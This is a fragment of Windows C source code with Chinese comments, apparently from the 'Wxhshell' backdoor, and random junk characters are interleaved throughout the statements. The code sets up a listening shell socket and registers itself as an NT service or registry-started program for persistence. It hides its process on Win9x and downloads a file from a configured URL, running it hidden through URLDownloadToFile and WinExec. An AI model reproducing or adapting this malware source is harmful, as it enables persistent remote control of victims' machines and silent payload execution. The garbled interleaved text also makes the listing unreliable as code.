E)Fo.H CloseHandle(hProcess); ?m dGMf) 5ii:93Hlj hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h"On9 if(hProcess==NULL) return 0; ')1p yo_;j@BGR HMODULE hMod; poVtg}n char procName[255]; ljJR7< unsigned long cbNeeded; JId|LHf*P UGK,+FN if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oE'Flc. =x}p>#o,J CloseHandle(hProcess); Qi\"b v_NL2eQ~ if(strstr(procName,"services")) return 1; // 以服务启动 ) (l=_[1Z5 vlh$NK+F return 0; // 注册表启动 m-XS_5x\ } Vv3:x1S Yo[Pu< zR // 主模块 P2sM3C int StartWxhshell(LPSTR lpCmdLine) 's 'H&sa { : 5<u!-}
SOCKET wsl; 4?.L+wL BOOL val=TRUE; W4n(6esO int port=0; L3y`*&e> struct sockaddr_in door; n$y@a?al ::8c pUc`f if(wscfg.ws_autoins) Install(); QW_W5|_ #wfb-`,5&9 port=atoi(lpCmdLine); {=<m^
5b9 "wj-Qgz if(port<=0) port=wscfg.ws_port; W,ik ;P\ 9\KMU@Ne WSADATA data; `nEe-w^9)I if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \#q|.d$u CC.ri3+. if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; j2Uu8.8d setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;'4HR+E" door.sin_family = AF_INET; ~<q^4w.=7C door.sin_addr.s_addr = inet_addr("127.0.0.1"); fQ_(2+FM door.sin_port = htons(port); dIOiP\^ n0tVAH'> if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d2(3 , closesocket(wsl); L5A?9zum/! return 1; Rg~F[j$N } m!_*Q A7=k9| if(listen(wsl,2) == INVALID_SOCKET) { <K
GYwLk closesocket(wsl); zb& 3{, return 1; |7%#z~rT } <-F[q'!C1 Wxhshell(wsl); Bf{c4YiF WSACleanup(); |}naI_Qudv !\/J|~XZ return 0; G2!J`} @szr '&\%A } J0,;F9<C#X gMUCVKGf // 以NT服务方式启动 E% d3}@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pW1(1M)[%Z { L1YiXJ,T, DWORD status = 0; I"bz6t\~| DWORD specificError = 0xfffffff; ^{l$>e] m+9~f_} serviceStatus.dwServiceType = SERVICE_WIN32; s|d"2w6t serviceStatus.dwCurrentState = SERVICE_START_PENDING; vmIt!x serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rxk0^d:sNi serviceStatus.dwWin32ExitCode = 0; i;mA| serviceStatus.dwServiceSpecificExitCode = 0; H?tX^HO:q serviceStatus.dwCheckPoint = 0; \TnRn(Kw serviceStatus.dwWaitHint = 0; R;`C;Rbf wi@Qf6(mn hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'rDai[ if (hServiceStatusHandle==0) return; p-JGDjR0G 2tI ,`pSU status = GetLastError(); @tg4rl if (status!=NO_ERROR) vz3#.a~2 { ?yy,3: serviceStatus.dwCurrentState = SERVICE_STOPPED; j6DI$tV~ serviceStatus.dwCheckPoint = 0; p^*A&7d:P serviceStatus.dwWaitHint = 0; Q$8&V}jVW serviceStatus.dwWin32ExitCode = status; z`(">J serviceStatus.dwServiceSpecificExitCode = specificError; 0UOjk.~b SetServiceStatus(hServiceStatusHandle, &serviceStatus); oJe`]_XZ return; eH^~r{{R } p}K.-S`MQ %hCd*[Z}j serviceStatus.dwCurrentState = SERVICE_RUNNING; $c }-/U 8 serviceStatus.dwCheckPoint = 0; #8@o%%Fd serviceStatus.dwWaitHint = 0; 2+cpNk$ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a<CACWsN.T } XN}^:j_2 P9jPdls // 处理NT服务事件,比如:启动、停止 ?3a:ntX h VOID WINAPI NTServiceHandler(DWORD fdwControl) FP>.@ Y { xA SH-9 switch(fdwControl) ]3]=RuQK2 { ^/fasl$# case SERVICE_CONTROL_STOP: Er@OmNT serviceStatus.dwWin32ExitCode = 0; Ri;_
8v[H| serviceStatus.dwCurrentState = SERVICE_STOPPED; Aqo90(jffx serviceStatus.dwCheckPoint = 0; r>cN,C serviceStatus.dwWaitHint = 0; O#?@'1 { a9y+FCA SetServiceStatus(hServiceStatusHandle, &serviceStatus); >p
9~' } ubUVxYD? return; ]8CgHT[^7 case SERVICE_CONTROL_PAUSE: qrufnu5cC serviceStatus.dwCurrentState = SERVICE_PAUSED; S pk8u4 break; a6!|#rt case SERVICE_CONTROL_CONTINUE: s"B2Whe serviceStatus.dwCurrentState = SERVICE_RUNNING; e\r%"~v break; ?@CbaX~+K case SERVICE_CONTROL_INTERROGATE: P(cy@P,D break; )W*A[c
2 }; #Fz/}lO SetServiceStatus(hServiceStatusHandle, &serviceStatus); -_ <z_IL\% } qylI/,y{ ip!-~HNwJ // 标准应用程序主函数 +F+M[ef<ws int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,-[z?dvO { hGJANA y_r(06"z1 // 获取操作系统版本 (!%9# OsIsNt=GetOsVer(); 9PdD =9HH GetModuleFileName(NULL,ExeFile,MAX_PATH); ziC%Q8 CaR-Yk
// 从命令行安装 IPf>9#L if(strpbrk(lpCmdLine,"iI")) Install(); vn4z C V6Y0#sTU // 下载执行文件 CD[}|N if(wscfg.ws_downexe) { (nAL;:$x2 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GQ2/3kt WinExec(wscfg.ws_filenam,SW_HIDE); ym_p49 } tmi)LRF
H u(i=-PN_< if(!OsIsNt) { i!EAs`$o` // 如果时win9x,隐藏进程并且设置为注册表启动 {r'+icvLX HideProc(); ^09-SUl^ StartWxhshell(lpCmdLine); '}$$0S.DC } 8p]9A,Uq& else 9;NXzO27 if(StartFromService()) 0ZJj5<U // 以服务方式启动 ($-m}UF\/ StartServiceCtrlDispatcher(DispatchTable); 2P ^x'I else iFnD`l6) // 普通方式启动 qHnX) StartWxhshell(lpCmdLine); <iB5& ?[7KN8$ return 0; 1>Q4&1Vn }
|